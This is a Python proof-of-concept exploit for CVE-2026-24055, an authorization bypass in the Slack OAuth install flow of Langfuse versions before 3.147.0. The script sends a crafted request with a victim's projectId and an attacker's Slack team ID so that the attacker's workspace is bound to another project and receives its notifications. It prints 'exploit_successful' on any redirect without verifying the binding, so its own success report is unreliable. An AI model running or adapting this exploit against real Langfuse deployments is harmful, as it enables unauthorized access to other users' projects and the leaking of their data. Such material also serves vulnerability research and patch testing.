CVE-2026-24055 Langfuse Slack OAuth 授权绕过漏洞

import requests import json # CVE-2026-24055 PoC - Langfuse Slack OAuth Authorization Bypass # Target: Langfuse instance < 3.147.0 TARGET_URL = "http://target-langfuse-instance.com" TARGET_PROJECT_ID = "victim-project-id-12345" # Attacker's target project MALICIOUS_SLACK_TEAM_ID = "attacker-slack-workspace" def exploit_slack_oauth_bypass(): """ This PoC demonstrates the authorization bypass in Langfuse's Slack OAuth flow. An attacker can bind their Slack workspace to any project by manipulating the projectId parameter. """ # Step 1: Initiate Slack OAuth with target projectId (no authentication required) install_url = f"{TARGET_URL}/api/public/slack/install" params = { "projectId": TARGET_PROJECT_ID, "slackTeamId": MALICIOUS_SLACK_TEAM_ID } print(f"[+] Step 1: Initiating Slack OAuth with target projectId: {TARGET_PROJECT_ID}") try: response = requests.get(install_url, params=params, allow_redirects=False) if response.status_code in [302, 303]: # OAuth redirect to Slack redirect_url = response.headers.get('Location') print(f"[+] Step 2: Received Slack OAuth redirect") print(f" Redirect URL: {redirect_url}") # In real attack, victim would complete OAuth at this URL # After completion, the attacker's Slack workspace is bound to target project print("[+] Step 3: After OAuth completion, attacker workspace is bound to target project") print(f" Attacker can now receive prompt management notifications") return { "status": "exploit_successful", "target_project": TARGET_PROJECT_ID, "malicious_slack_team": MALICIOUS_SLACK_TEAM_ID, "oob_channel": "attacker-controlled-slack-channel" } else: print(f"[-] Unexpected response: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2026-24055 - Langfuse Slack OAuth Authorization Bypass") print("=" * 60) result = exploit_slack_oauth_bypass() if result: print(f"\n[+] Exploit completed: {json.dumps(result, indent=2)}")